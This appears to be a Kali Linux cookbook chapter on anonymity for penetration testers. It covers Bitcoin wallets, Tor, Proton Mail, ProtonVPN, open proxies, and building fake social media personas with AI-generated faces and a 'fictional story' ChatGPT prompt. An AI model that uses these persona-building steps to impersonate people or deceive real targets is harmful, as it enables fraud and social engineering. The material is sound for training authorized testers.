Close your web browser when you are done exploring.

How it works...

VulnHub is a simple browsable repository of many community-based VMs that have been up-

loaded for others to use as a testing resource.

There is more...

The pen-testing/security community is very robust, and some simple searching with Google will

allow you to find many resources available for your lab, practice environments, or tutorials. While

many security practitioners are open to providing help, they also want you to cut your teeth by

trying and breaking things yourself. So, if you ask questions on forums, ensure you have exhausted

both attempts at doing it yourself and online resources.
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Cloak and Dagger: Stealth and
Anonymity

In this chapter, we will learn how to maintain stealth and anonymity while we conduct our
pen-testing activities. Staying under the radar is often vital for success, as you don’t want to raise
any flags that would put people on alert, whether you're simulating a cyberattack, gathering
intelligence, or safeguarding your actions. This chapter explores the tools and strategies needed
to obscure your digital presence, guiding you on how to navigate an increasingly monitored

internet without detection.

We start with the principles of anonymity, focusing on key practices to hide your identity and
reduce traceability. You’ll discover methods to protect your identity across various platforms, in-
cluding cryptocurrencies such as Bitcoin, secure email services, disposable accounts, and creating
alternative personas. Additionally, the chapter examines practical tools such as VPNs, proxies, and

the Tor network, explaining their functions, advantages, and limitations in different situations.

By mastering these techniques, you’ll be prepared to maintain your anonymity. Whether evad-
ing surveillance, ensuring secure communication, or cultivating untraceable online identities,
the strategies discussed in this chapter will enable you to work safely and discreetly in your

pen-testing activities.
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The following recipes will be covered in this chapter:

e Employing Bitcoin and cryptocurrency
e  Using Tor

e  Using private and secure email

e Usinga VPN

e Using a proxy

e Building alternate online personas

e Building complete online personas with Al

Technical requirements

All our work in this chapter will be conducted within Kali Linux. Some of this information can be
extended to other operating systems and devices, so you can perform many of the actions with

nothing more than a web browser.

Essentials to anonymity

Anonymity is a protective barrier for your online identity and actions. Maintaining anonymity
is a two-fold obligation: you must replicate the tactics used by malicious hackers to thoroughly
assess defenses while also safeguarding yourself as the tester to prevent unintentional exposure

of sensitive data or legal issues.

Hackers often employ tools such as VPNs, Tor, and proxies to mask digital traces, as well as cre-
ate fictitious identities or disposable accounts to obscure attribution. As a pentester, adopting
a hacker’s mindset and understanding these techniques is vital to replicate them accurately.
Lacking this perspective might resultin assessments that do not effectively mirror realistic attack
scenarios, such as not evaluating how well a system can spot an attacker using anonymization
methods. This can potentially leave an organization vulnerable to the very threats that exploit
these tactics. Anonymity empowers you to conduct more realistic and thorough tests, uncovering

vulnerabilities that might go unnoticed.
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As a pentester, your actions could also unintentionally raise alarms or attract unwanted scrutiny.
Your identity could be compromised without adequate precautions, leading to reputational harm
or legal complications. Effective anonymization practices enable you to work safely, ensuring
that detection systems cannot distinguish your ethical actions from malicious ones. Preserving
anonymity is critical to upholding your privacy, particularly when exploring dark web resources

or engaging with hackers.

Kali Linux is the preferred platform for maintaining operational anonymity due to its built-in
tools and capabilities. It includes pre-installed utilities such as Tor, proxychains, and anonymizing
VPN clients, allowing penetration testers to quickly route their traffic through multiple layers of
obfuscation. Its ability to run as a live OS, either from a USB or in a virtual environment, means
thatno trace is left on the host system, which is essential for covert operations. Additionally, the
active Kali community regularly contributes anonymization scripts, custom configurations, and

tool integrations, enabling testers to adapt to evolving surveillance techniques.

Employing Bitcoin and cryptocurrency

In this recipe, we will learn the fundamentals of Bitcoin, including setting up a wallet and sending
and receiving Bitcoin. The rapid adoption of cryptocurrencies such as Bitcoin has introduced new
attack vectors for hackers. Understanding blockchain technology and its applications is crucial
for penetration testers to identify vulnerabilities in wallets, exchanges, smart contracts, and other

crypto-related systems.

Cryptocurrencies are also tools for cybercriminals, often used to facilitate ransomware and other
illicit activities. By understanding these technologies, penetration testers can better simulate

real-world threats and strengthen defenses against emerging attacks.

Getting ready

You need the following to complete this recipe:

e KaliLinux VM turned on and logged in

e Stable internet connection
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How to do it...

1. Launch the terminal window from Kali.

[l Kali-linux-20253-virtualbox-amd64 [Running] - Oracle VirtualBox
File Machine View Input Devices Help

kali@kali: ~

Session Actions Edit View Help

File System

Figure 2.1 - Terminal window

Tip

Please remember we are installing the Electrum wallet in Kali for an example
-(u)- only. Under real-world circumstances, I would never suggest installing a
Bitcoin wallet on your penetration testing platform. I would use an offline

or hardware-based wallet for higher security. Please validate the Electrum

wallet software against their website to ensure authenticity.

2. Install the Electrum wallet using the package tool in the terminal window. To do so, enter

the following command (your password as needed):

sudo apt install electrum -y
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3. Onceinstalled, open the application menu, search for Electrum under All Applications,

and launch it.

ﬁ kali-linux-2025.3-virtualbox-amd64 [Running] - Oracle VirtualBex

File Machine Devices

S emEmpP o]
Q|

View Input

=) Favorites

ecently Used

Q 01 - Reconnaissance

% 02 - Resource Development

@ 03 - Initial Ac

@ 07 - Defense Evasion
{} 08-Credential Access
09 - Disc

% 10 - Latera

tration
(g) 14 - Impact
15 - Forensics
{7 16 - se
8 kali

es and Other Tools

‘: dradis-stop
% , driftnet
o dsnift
\ eapmdSpass

5 edb
@ Electrum Bitcoin Wallet

' Engrampa Archive Manager

‘;' enum4linux

\ enumiax

@ ettercap

evil-winrm

\ ewfacquire

Exploit Database

\ extundelete
\ fang

faraday

Figure 2.2 - Finding and launching Electrum

4. The Electrum interface will begin the setup wizard; click Next to continue.

5. Name your wallet and click Next. For this example, we will use Demo_Wallet.

6. Selectyour wallet type. For this demonstration, we will select Standard Wallet and click

Next.
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7. You will then be presented with a screen that contains your wallet’s seed. The seed is
presented as a series of words. These words, and their order, are extremely important in
wallet recovery. My suggestion is to write them down and store them in a secure location.

After recording the seed, click Next.

CreatefRestore wallet

Wallet Seed

Your wallet generation seed is:

%—

Options

Please save these 12 words on paper (order is important). This seed
will allow you to recover your wallet in case of computer failure.

WARNING:

® Never disclose your seed.

Figure 2.3 - Electrum wallet seed

Tip
|
-\@’- Storing the seed electronically is not a good idea, as it would be prone to
4 AN

hacking attempts. I typically store them on paper in a safe. Sometimes, an-

alog is the best way to keep things safe!

8. On the next screen, reenter the seed and click Next.
9. Enter a strong password, confirm it, and click Finish.
10. You will be asked whether you would like to receive notifications about updates. Select Yes.

11. From the menu, select Tools, then Preferences to open the preferences window.
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Electrum 4.5.8 - Demo_Wallet [standard]

File Wallet View Tools Help
M History 4 Sen  Preferences
Network

Plugins

Date ~ Descriptior Amount Balance
Sign/verify message
Encrypt/decrypt message

Load transaction

Balance: 0. mBTC 2 Update to Electrum 4.6.2 is available ﬂ X “‘ :

Figure 2.4 - Electrum Tools | Preferences

12. Select Fiat, find your local currency, select it, and click Close. You will now see the equiv-

alent of 1 Bitcoin in your local currency in the window.

File Wallet View Tools Help
= History 4 Send <& Receive 4 Channels

Prefi
Date ~ Description references
Appearance Units Fiat  Lightning Misc
Fiat currency uUsD

Source CoinGecko

Download historical rates

Close

-
-

Balance: 0. mBTC (0.00 USD) 1TmBTC~115.48 USD = = Update to Electrum 4.6.2 is available i '}\" %

Figure 2.5 - Electrum Fiat currency

S

g A millibitcoin (mBTC) is 1/1,000 of a Bitcoin.
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13. To receive Bitcoin, click on the Receive menu option and enter a description. You can
enter a requested amount in either mBTC or your fiat currency (you do not need to enter
an amount if you want to leave it variable), and enter an Expiry date and select Create
Request. This will add the entry to the Requests area at the bottom. On the right, you
can get a Bitcoin URI or a QR code.

Electrum 4.5.8 - Demo_Wallet [standard]

File Wallet View Tools Help
= History 4 Send < Receive 4 Channels

[@ Bitcoin URI

Description

bitcoin:bclg23pzgpl

5sgqcrgbd36jj200a5z

6ywdpska8ddf?

message=Receives20b

itcoin%20froms20per

son%s20A&time=176155
Clear Create Request 3105&exp=86400

Requested amount

Expiry

Requests

Date = Description Amount Status
2025-10-27 04:18 Receive bitcoin from person A «! Expires in about 1day

Balance: 0. mBTC (0.00 USD) 1 mBTC~115.50 USD = Update to Electrum 4.6.2 is available ﬂ 'x % :

Figure 2.6 - Electrum Receive

Tip
I am often asked how best to add funds to a Bitcoin wallet. One way is to

use a Bitcoin exchange; there are several out there. However, many will re-

quire some form of identification or bank account information. If you want

to maintain anonymity, one of the best ways to add or withdraw funds is
through a Bitcoin kiosk. These kiosks have been popping up everywhere
to make the process convenient. However, these kiosks may still contain

cameras and keep activity logs.
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14. To send Bitcoin, click on the Send menu option, enter the Pay to Bitcoin address, enter a
description, enter the amount in either mBTC or your fiat currency, and click Pay.
Electrum 4.5.8 - Demo_Wallet [standard]

File Wallet View Tools Help
= History ¥ Send < Receive 4 Channels

Pay to
Description

Amount

Balance: 0. mBTC (0.00 USD) 1 mBTC~115.50 USD = Update to Electrum 4.6.2 is available ﬂ x % :

Figure 2.7 - Electrum Send

15. You may now exit the Electrum wallet.

How it works...

We installed the Electrum wallet, which allows us to send and receive Bitcoin. This does not install
a Bitcoin node, which would provide significantly more security and anonymity; however, it also
requires several hundred gigabytes of space and a higher-performing computer. This will allow

you to perform the basics of Bitcoin transactions.

There’s more...

Installing the Electrum wallet is just the first step into the world of cryptocurrency, and it has only
scratched the surface. Bitcoin is built on decentralized blockchain principles, and there are many
applications and tools to explore. To dive deeper, visit https://www.bitcoin.org, an excellent
resource for securing wallets, managing private keys, understanding mining, and researching

advanced topics such as the Lightning Network and Bitcoin’s role in decentralization.


https://www.bitcoin.org
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Using Tor

In this recipe, you will learn how to use The Onion Router (Tor) to hide your online activities
and to access the dark web. The Tor network is a powerful tool for penetration testers. It provides
anonymity and access to parts of the internet that are often inaccessible through conventional
means. By routing traffic through a series of encrypted nodes, Tor allows testers to hide their

identities, explore hidden services, and simulate threat actor behavior.

For penetration testers, learning how to use Tor is essential for several reasons. It enables anony-
mous reconnaissance, making tracing testing activities harder for a target. Tor also provides access
to the dark web, where testers can investigate potential data breaches, threat actor activity, or
leaked client information. Additionally, it is a practical way to simulate attacks from adversaries

who rely on anonymity to exploit systems.

Getting ready

You need the following to complete this recipe:

e Kali Linux VM turned on and logged in

e Stable internet connection

How to do it...
1. From within Kali Linux, open the terminal window.

2. From the terminal window, enter the following and enter your password as required:

sudo apt update

sudo apt install tor torbrowser-launcher -y

3. Now, close the terminal window.
4. Select the Kali menu icon, and in the search window, type tor and select Tor Browser.

g Machine View Input Devices Help
S emP ob)-
Q tor

‘. Tor Browser

‘. Tor Browser Launcher Settings

Terminal Emulator

r, ext Editor
td

El Root Terminal Emulator

Figure 2.8 - Finding and launching Tor
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5. Once selected, Tor Browser will begin downloading for the first time.
6. Once complete, Tor Browser will launch. To connect to Tor, click the Connect button.

7. Once connected, Tor Browser will change, and you will see Connected in the upper right-

hand corner.

? New Tab
C Q
-3] Import bookmarks...

A\ some of Tor Browser's security features may offer less protection on your current operating system. H

Don’t show again

Free the mternet

Support tools that break the chains of censorship and surveillance.
Donate to the Tor Project today.

Through December 31, your gift will be matched, up to $250,000!

Onionize

Tor is free to use because of donations from people like you. Dt

Figure 2.9 - Tor connected

8. You may now browse to .onion addresses, such as the DuckDuckGo search engine at
https://duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion/ or
the DEEP SEARCH search engine at http://search7tdrcvri22rieiwgi5g46gqnwsesvnu
bgav2xakhezv4hjzkkad.onion/.


https://duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion/
http://search7tdrcvri22rieiwgi5g46qnwsesvnubqav2xakhezv4hjzkkad.onion/
http://search7tdrcvri22rieiwgi5g46qnwsesvnubqav2xakhezv4hjzkkad.onion/
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‘search 7tdrovri2 2rieiwgidg46gnwsesvnubgav2xakhezv4hjzkkad.onion/

Q

SEARCH

5

Figure 2.10 - DEEPSEARCH search engine

How it works...

Tor routes traffic through multiple encrypted relays operated by volunteers. When a user connects,
Tor creates a circuit of three relays: an entry node, a middle relay, and an exit node. Each relay
decrypts only enough data to know the next destination, ensuring that no single relay knows

both the user’s identity and the destination. Tor encrypts data in layers, like an onion.

There's more...

More information regarding Tor can be found on the project website at https: //www.torproject.

org. Furthermore, the Brave browser also has Tor built in.

Brave (https://brave.com/) is based on Chromium and may have better compatibility with some
websites due to Chrome’s overall popularity, whereas Tor Browser is based on Firefox. However,

Tor Browser may provide more security protection.

Also, take alook at this GitHub site for some other .onion addresses to get you started: https://
gist.github.com/0x00009b/8cfOc2boel47dcOc1114fb32b5d2d7a3.


https://www.torproject.org
https://www.torproject.org
https://brave.com/
https://gist.github.com/0x00009b/8cf0c2b0e147dc0c1114fb32b5d2d7a3
https://gist.github.com/0x00009b/8cf0c2b0e147dc0c1114fb32b5d2d7a3
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Using private and secure email

In this recipe, you will set up an email address that will allow you to maintain your online an-
onymity while also providing a means for secure communications. Communication security is
paramountin penetration testing, and email is often a critical touchpoint. Whether coordinating
with clients, sharing reports, or conducting surveillance, penetration testers must ensure that
their email usage is private and secure for maintaining confidentiality, integrity, and operational
security. Missteps in this area can expose sensitive information, compromise operations, or even

lead to legal and reputational consequences.

Using private and secure email systems helps penetration testers protect their communications
from unauthorized access, phishing attacks, and data leaks. Furthermore, email anonymity can
be vital when simulating phishing attacks or social engineering campaigns, enabling realistic

threat scenarios without exposing the tester’s identity.

Note

\ 7/

/@\ Never use your personal email or identifiers when engaging in lab work, red teaming,

or research on sensitive targets.

Getting ready

You need the following to complete this recipe: Tor Browser open and connected.

How to do it...

1.  From Tor Browser, access the Proton Mail .onion address at https://protonmailrmez3

lotccipshtkleegetolb73fuirgj7rdodvfu7ozyd.onion/.

\ Tip

N\ 7/

_/@\_ You can more easily start by going to https://proton.me/tor and selecting

the Proton onion site.

2. From the main site, select Create free account.


https://protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4vfu7ozyd.onion/
https://protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4vfu7ozyd.onion/
https://proton.me/tor
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3. From the next screen, select Get Proton for free.

“‘ Proton Mail Features ~ Pricing Mail for Business Download Resources and support ~

Proton Mail plans

Individuals | Families | Businesses

20% OFF
Proton Free Mail Plus
o i W
CHF459
CHF 0.00 fmonth CHF 3.99 fmonth
Save CHF 12
( Get Proton Free ) ( Get Mail Plus )
E No credit card required 30-day money-back guarantee
+/ 1GB storage +/ 15 GB storage
~/ 1user +/ 1user
+/ 1 email address +/ 10 extra email addresses for you
+/ Support for 1 custom email domain

Figure 2.11 - Get Proton for free

4. Enter a username and password, repeat your password, and select Create Account.

5. For verification, you must enter another non-Proton email address and select Get veri-

fication code.
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Tip

N\ 7/

@

|
- Verification with another email address is only required for free accounts.
AN

g One way around this would be to subscribe to a Proton plan using Bitcoin

to maintain your anonymity.

6. Once the verification code is received, enter it and select Verify.
7. You can then enter a display name and select Continue.

8. You can add a recovery method as needed. You may choose not to enter recovery infor-

mation, in which case you will receive a warning. Click Confirm.

Set up a recovery method

Save your email address or phone number to use for
vertfication if you need to reset your account.

Phone number

B= . - 2015550123

Warning

Email "
- You did not set a recovery method

core SO account recovery is impossible if
you forget your password. Proceed
without recovery method?

..

Cancel

Figure 2.12 - Proton recovery method
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9. Gothrough theinitial setup screens to validate your preferences. You will then be provided

with your inbox.
\\ | Proton Mail Q Search messages | Upgrade | & | N
New message * Inbox - Al F ¢ 1/1 i
P Proton oificial 8:38 AM
£ Inbox o Set up automatic forwarding from Gmail in one click [27]
Drafts
Privacy for all your online accounts [
Change your email address for popular services now to avoid being
tracked and profiled. Learn more L J

nikfrank2 @proton.me (3

Finance Social media Shopping
%2~ Bank of America Change email
&Y American Express Change email
, Capital One Change email
Maybe later

Figure 2.13 - Proton Inbox

10. You may now close the Tor Browser.

How it works...

You accessed Proton Mail entirely anonymously using the Tor network. Had you paid for a subscrip-
tion, you would not have been required to provide an alternate email address to better maintain
privacy. Proton states that they do not maintain the verification email and thatitis only saved us-

ing ahashed method to prevent bots and spammers. However, I would not consider that sufficient.
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There's more...

If you choose Proton, I suggest reading their privacy policy at https://proton.me/legal/privacy.
Furthermore, you can use various other services for email activities, some of which can be found

on the dark web.

One of the other reasons I chose Proton is that they have good PGP (Pretty Good Privacy) support.
PGP is very prevalent in the security field and provides you with methods to send PGP-signed and/
or encrypted emails to others. More information on PGP can be found at https://www.openpgp.

org.

Using a VPN

In this recipe, you will learn how to use a virtual private network (VPN) to hide your online
activities and keep your location hidden. VPN technology is a cornerstone of penetration testing,
as mastering VPN technology is essential for penetration testers to maintain operational security,

bypass network restrictions, and simulate real-world attack scenarios.

VPNs create encrypted connections between networks, masking the tester’s identity and protecting

sensitive data during engagements.

AVPN allows penetration testers to obfuscate their traffic and appear to be operating from differ-
ent geographical locations. This is vital for assessing how organizations defend against external
threats. Understanding and effectively using VPN is essential for any professional in the field.
However, using a privacy-conscious VPN is important, as you can be identified through the pro-
vider’s logs if they maintain them. Many privacy-focused providers will not maintain logs and

operate in jurisdictions where legal requests for information can be argued in court.

Getting ready

You need the following to complete this recipe:

¢  Terminal window open

e Stable connection to the internet


https://proton.me/legal/privacy
https://www.openpgp.org
https://www.openpgp.org
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How to do it...

1. Open your web browser and browse to https://www.whatismyip.com. Record your IP

address and location.

@ WhatlsMyIP.com
Chrome for Developers
: LEARN MORE
Al in Chrome

What Is My IP?

My IPv6: Not Detected @

MY IP LOCATION INFORMATION
City: Mumbai [

State/Region
Postal Code:

Country

Figure 2.14 - Current IP

2. Close your web browser.
3. Open the terminal window and prepare to enter commands.

4. Download the ProtonVPN repository using the following:

wget https://repo.protonvpn.com/debian/dists/stable/main/binary-all/

protonvpn-stable-release_1.0.6_all.deb

5. Install the repository using the following (enter your password as required):

sudo dpkg -i ./protonvpn-stable-release 1.0.6_all.deb

sudo apt update

6. Install the desktop repository using the following code:

sudo apt install proton-vpn-gnome-desktop


https://www.whatismyip.com
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7. Youmay now close the terminal window.
8. From the Kali menu in the search bar, type proton, and select ProtonVPN.
9. Enter the username and password and select Sign in using the credentials created in the

previous recipe.

Proton VPN

/ Proton VPN

Figure 2.15 - ProtonVPN credentials

10. You may now select one of the free options, such as United States, and select Connect.

Proton VPN

Youare disconnected

Quick Connect

Q
Romania =  Connect
=  Connect
United States @ = Connect
Afghanistan

Albania

Algeria

Angola

Argentina

Figure 2.16 - ProtonVPN connect
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11. Once connected, open your web browser and browse again to https://www.whatismyip.

com. Compare your IP address and location to what you previously recorded.

What Is My IP?

My IPv4: 37.19.221.237 &
My IPv6: 2a02:6ea0:e00a:2242::11 =

MY IP LOCATION INFORMATION
City: Houston [M
StatefRegion: Texas [11
Postal Code: 77250 [0
Country: United States of America 1
ISP: DataCamp Limited [%)
ASN. 212238 [0
Time Zone: UTC -05:00 [

Figure 2.17 - IP on VPN

12. You may now disconnect from ProtonVPN and close your browser.

How it works...

Downloading and installing the ProtonVPN application and then connecting to a VPN remote
endpoint provides privacy and anonymity. However, understand that the VPN provider can see
your information; therefore, a no-logging policy is important. Understanding their logging pol-

icies and their legal obligations regarding warrants is crucial.

There's more...

A free account provides basic capabilities. However, you should explore additional options with
a paid account. The first option is network access to the Tor network. Proton has exit nodes
that connect directly to the Tor network. For more information, visit https://protonvpn.com/

support/tor-vpn/.


https://www.whatismyip.com
https://www.whatismyip.com
https://protonvpn.com/support/tor-vpn/
https://protonvpn.com/support/tor-vpn/
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Secure Core is another option that helps protect us from being identified by bouncing our traffic
through multiple endpoints before our exit node. For more information, visit https://protonvpn.

com/support/secure-core-vpn/.

You should also be familiar with other ways to secure your identity. One such option is the kill
switch, which protects you from being identified if your VPN connection is unexpectedly termi-

nated. For more information, visit https://protonvpn. com/support/permanent-kill-switch/.

Lastly, there is DNS leak detection, where sometimes DNS requests go to your local resolver instead
of over the VPN tunnel. More information can be found at https://protonvpn.com/features/

dns-leak-prevention/.

Using a proxy

In this recipe, you will learn the fundamentals behind using a proxy to hide your online activities
and protect your location from being discovered. Proxies are invaluable tools in a penetration
tester’s arsenal. They act as intermediaries between the tester’s system and the target, enabling
enhanced anonymity, control, and flexibility during engagements. Proxies also allow testers to

mask their IP addresses, manipulate traffic, and simulate various network conditions.

Proxy usage is crucial for penetration testers for several reasons. Proxies can help bypass network
restrictions, geo-blocking, or web application defenses, allowing testers to evaluate a target’s
resilience to real-world attacks. They also enable traffic interception and modification, essential
for analyzing web application vulnerabilities and understanding how data flows between a client
and a server. Please ensure the proxies’ logging and legal obligations when selecting your proxy.

Also, some may include antivirus and anti-malware scanning that could prove a hindrance.

Getting ready

You need the following to complete this recipe: a web browser in Kali Linux.

How to do it...

1. Open your web browser and browse to https://www.whatismyip.com. Record your IP

address and location.


https://protonvpn.com/support/secure-core-vpn/
https://protonvpn.com/support/secure-core-vpn/
https://protonvpn.com/support/permanent-kill-switch/
https://protonvpn.com/features/dns-leak-prevention/
https://protonvpn.com/features/dns-leak-prevention/
https://www.whatismyip.com
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What Is My IP?

My IPv4: 37.19.221.236 (&
My IPv6: 2a02:6ea0:e00a:2239::14 [

MY IP LOCATION INFORMATION
City: Houston [0

StatefRegion: Texas [0

Figure 2.18 - Current IP

2. From your web browser, navigate to https://www.proxynova.com/. Select a proxy server

and record its information.

< All Countries > v < All Proxies > v

Proxy IP Proxy Port Last Check Proxy Speed Uptime Proxy Country Anonymity
[

8.219.229.53 8200 v 49secsago | 2138 ms 32%(203) | = Singapore Elite
e —] -

8.130.37.235 1081 v 49secs ago | 2477 ms 0% (197) China - Beijing Elite

8.130.34.44 999 v49secsago gspzms 26% (196) | @ China - Beijing Elite
e —]

47.237.2.245 1080 + 3 mins ago 2372 ms 80% (5) = Singapore Elite
=

91.211.212.6 32650 + 3 mins ago 2778 ms 25% (4) i= Greece - Athens Transparent

4.245.123.244 80 + 3 mins ago 304 ms 100% (4) = Netherlands - Amsterdam Elite
 ——

185.14.47.247 80 + 3 mins ago 2427 ms 75% (4) £ Hong Kong - Hong Kong Elite

64.181.240.152 3128 ¥ 3 mins ago lﬁl 39% (13) == United States - San Jose Elite

154.16.146.44 80 + 3 mins ago 2611 ms 80% (5) == United States - Buffalo Elite

108.141.130.146 80 + 3 mins ago 323 ms 100% (4) = Netherlands - Amsterdam Elite
] -

8.148.23.202 9999 v 3 mins ago 3035 ms 8% (7) = Singapore Elite
)

117.54.114.35 80 + 3 mins ago 3105 ms 24% (21) == Indonesia - Jakarta Anonymous
)

185.142.131.113 8080 + 3 mins ago 3145 ms 10% (20) I Portugal - Ericeira Transparent

Figure 2.19 - ProxyNova
Tip
N ! / . . .
-@— While these proxies are generally good, you may need to try multiple before
’
g you find one that works. Also, due to proxy latency, you can expect a lag as
you browse.

3. From your web browser, access the menu item button and select Settings.


https://www.proxynova.com/
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4. Inthe search box, enter proxy and then choose Settings.
5. Select Manual proxy configuration, enter the proxy information, select to use it for HTTP
and HTTPS traffic, and select OK.
Connection Settings
Auto-detect proxy settings for this network
ttings
figuration

02.70

Also use this proxy for HTTPS

SOCKS VS

Automatic proxy configuration URL
No proxy for

:.mozilla.orc
ections to localhost, 127.0.0.1/8, and ::1 are never proxied.

[_] Do not prompt for authentication if password is saved

when using SOCKS v5

Cancel

Figure 2.20 - Enter proxy information

6. Once connected, open your web browser and browse again to https://www.whatismyip.

com. Compare your IP address and location to what you previously recorded.

What Is My IP?

My IPv4: 91.211.212.6 ®
My IPv6: Not Detected @

MY IP LOCATION INFORMATION
City: Athens [0
State/Region: Attiki [9)
Pastal Code: 167 77 [0
Country: Greece [T
ISP: IoT Syndesi | K.E. [0
ASN: 200736 M
Time Zone: UTC +03:00 A

Figure 2.21 - IP while on proxy

7. You may now return, remove your proxy, and close the web browser.


https://www.whatismyip.com
https://www.whatismyip.com
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How it works...

A web proxy operates at the application layer and is designed to handle specific web protocols
such as HTTP or HTTPS. It primarily works with web traffic by filtering, caching, or anonymizing
requests and responses. In contrast, a SOCKS proxy functions at alower level, making it more ver-
satile. It can handle many types of network traffic, including web, email, and file transfers. SOCKS

doesn’tinterpret the traffic itself; it simply forwards it, making SOCKS proxies more versatile.

There's more...

While we will demonstrate proxies using an open proxy and a browser, it’s essential to understand
that you may be creating proxies inside your targets to source attacks via the proxy, not just to
obfuscate your source IP. Also, various tools within Kali can be used with a proxy. Proxychains is

a term commonly used in penetration testing to set up anonymity and attack vectors.

More information on SOCKS can be found at https://www.giac.org/paper/gsec/2326/

understanding-implementing-socks-server-guide-set-socks-environment/104018.

Building alternate online personas

In this recipe, you will learn how to create online personas. These can be used as a proxy when
communicating with others or as an information-gathering tool. Creating and maintaining mul-
tiple online personas in penetration testing is a strategic necessity. With distinct names, profiles,
and activity histories, these personas enable penetration testers to conduct engagements with
enhanced realism, stealth, and flexibility. By simulating diverse identities, testers can mimic the
behaviors of different threat actors, improving their ability to assess and exploit an organization’s

security vulnerabilities.

Having multiple online personasis particularly valuable in social engineering and reconnaissance
efforts. One persona might connect with target employees on professional networks, while an-
other could interact with public forums or social media groups to gather sensitive information.
Multiple personas also allow testers to test an organization’s resilience against phishing attacks,
impersonation attempts, and other realistic scenarios without risking their professional identity

or exposing their methodology.


https://www.giac.org/paper/gsec/2326/understanding-implementing-socks-server-guide-set-socks-environment/104018
https://www.giac.org/paper/gsec/2326/understanding-implementing-socks-server-guide-set-socks-environment/104018
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Getting ready

You need the following to complete this recipe: Tor Browser or a browser with a VPN.

How to do it...

1. Open Tor Browser and navigate to https://x.com. Click Create account.

B @ ProxyServer List- Listof (X X /X.I¢'swhat's happening/ X  +
€ 2 C @ QO 8 xcom -~

-8 Import bookmarks... OffSec KaliLinux # KaliTools = KaliDocs ¥ Kali Forums e\ Kali NetHunter - Exploit-DB Google Hacking DB

Happening now

Join today.

& Sign up with Google

i Sign up with Apple

on

Create account

Already have an account?
Signin

3 Get Grok

Figure 2.22 - X Create account

2. Enter the accountinformation based on the persona you are trying to build, including the
appropriate age. Use a proper email address for this persona as well (refer to the Private

and secure email recipe) and select Next.
3. Complete the captcha if required to continue.

4. X will ask for a verification code. Open the email address you used and enter the code,

and select Next.

5. Enter a password and click Sign up. Use a strong and unique password for every account.


https://x.com
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6. Itwill now ask for a profile picture. At this point, open a new tab in the browser and nav-
igate to https://facestudio. app. Enter the gender, age group, and ethnicity based on
the profile you are trying to create, then select GENERATE. Lastly, download the picture.

BASIC ADVANCED

Gender

Male Female

Age Group

Teens 20s 30s 40s

Ethnic Phenotype
European African West Asian South Asian

East Asian Southeast Asian Latin American

invisible watermark

GENERATE

Figure 2.23 - Face Studio picture generation

7. Youmay now close the facestudio.app tab and return to the tab with x. com.

8. From the profile picture dialog, select to browse for a picture; select the picture just down-
loaded, and apply that picture to the profile photo.

« Edit media

Figure 2.24 - X profile picture

9. Pick your username for this individual and select Next.


https://facestudio.app
facestudio.app
x.com
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10. Go through the remaining profile questions and make selections based on this individ-

ual’s persona.

11.  You now have a complete x. com profile for this person.

Edit profile

Figure 2.25 - X profile

There's more...

A typical person may use various online accounts. Take this same character and build out some
of the other popular profiles. Always keep privacy and anonymity in mind when doing this, so

ensure you do it over secure connectivity.

Building complete online personas with Al

In this recipe, we will use artificial intelligence (AI) to construct an entire online persona with
significant background information. We have already gone through the essentials. Now, we can
use Al to expand more complete profiles and create characters of various demographics. Con-
sider this like character development for a book. You are creating online personas. As such, these
personas must have a history, so the ones you’re making today may be used in the future. You

need to start building their credibility by posting regularly, following others, and interacting to
develop a realistic profile.
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Each character profile will need a unique email, LinkedIn, Facebook, and X/Twitter account. Add
and adjust services as you feel necessary for your target demographic. While having a clear profile
is essential, it is important to remember to make them generic enough for many uses, but not so

generic that they are easy to discover as fake.

Getting ready

You need the following to complete this recipe: Tor Browser or a browser with a VPN.

How to do it...

1. Open Tor Browser and navigate to https://chatgpt.com.

Tip
While an account is not needed, it may be advantageous so that you can refer

N\ ! 7/
/@\ back to the prompt we are using. Furthermore, it can help you create posts

and other necessities as you go. Remember to register with a throwaway

email address.

2. Enter the information in the What can I help with? box to build a persona.

ChatGPT v 4 Upgrade for free

What's on your mind today?

+ Ask anything

Figure 2.26 - ChatGPT profile


https://chatgpt.com
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I will provide an example, but you can create your own. The more work you put into the
initial prompt, the better your results will be, and you can provide additional details to

help tweak it as you go:

I am writing a fictional story about a single mom with 2 adolescent
children. She is a dentist, her husband divorced her 3 years ago and
is no longer in the picture. She is from the US in upstate New York.
Can you please create a full character profile for her

3. The output will be a complete persona that includes details such as name, age, sex, and
occupation. It further expands into a complete physical description, personality traits,
background, and family information, as well as daily routines and social circle information,
and challenges and growth areas for the individual. I highly suggest that you review the
full profile (https://github.com/PacktPublishing/Kali-Linux-Cookbook/blob/main/

charachter_profile.txt) as shown:

Character Profile: Dr. Claire Bennett
Name: Dr. Claire Marie Bennett

Age: 39

Gender: Female

Occupation: Dentist and owner of a small private practice in a
suburban town in upstate New York.

Residence: A cozy two-story home in Saratoga Springs, NY, with a
warm and inviting interior featuring lots of personal touches and
family photos.

4. Now, let’s get a social media profile by entering the following prompt:

In first person, please write a brief social media profile.

5. You will then receive the following output:

Hi, I'm Dr. Claire Bennett!
® I live in beautiful Saratoga Springs, NY, where I juggle life as
a dentist, a single mom to two incredible kids, and the occasional
chaos of it all.

My daughter Emma (15) is a creative soul who loves music ¢/,
and my son Luke (12) is a budding scientist and tech enthusiast @j.


https://github.com/PacktPublishing/Kali-Linux-Cookbook/blob/main/charachter_profile.txt
https://github.com/PacktPublishing/Kali-Linux-Cookbook/blob/main/charachter_profile.txt
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They keep me on my toes, but I wouldn't have it any other way.
= When I'm not at my practice crafting smiles, you can find
me jogging in the park, baking with my kids, or volunteering at
the local clinic. Life has thrown its challenges my way, but I'm
learning to embrace the journey—one day at a time.
Follow along as I navigate single motherhood, running a business,
and finding joy in the little things.
#tMomLife #DentistByDay #UpstateNYLiving #FindingMyBalance

ChatGPT >

| am writing a fictional story about a single mom with 2 adolescent children.
She is a dentist, her husband divorcerd her 3 years ago and is no longer in the
picture. She is from the US in upstate New york. can you please create a full
charachter profile for her

Character Profile: Dr. Claire Bennett

Name: Dr. Claire Marie Bennett

Age: 39

Gender: Female

Occupation: Dentist and owner of a small private practice in a suburban town in upstate New York.
Residence: A cozy two-story home in Saratoga Springs, NY, with a warm and inviting interior featuring lots of
personal touches and family photos.

Physical Description:

« Height: 5'6"

« Build: Average, with a toned physique from her regular yoga and jogging routine.

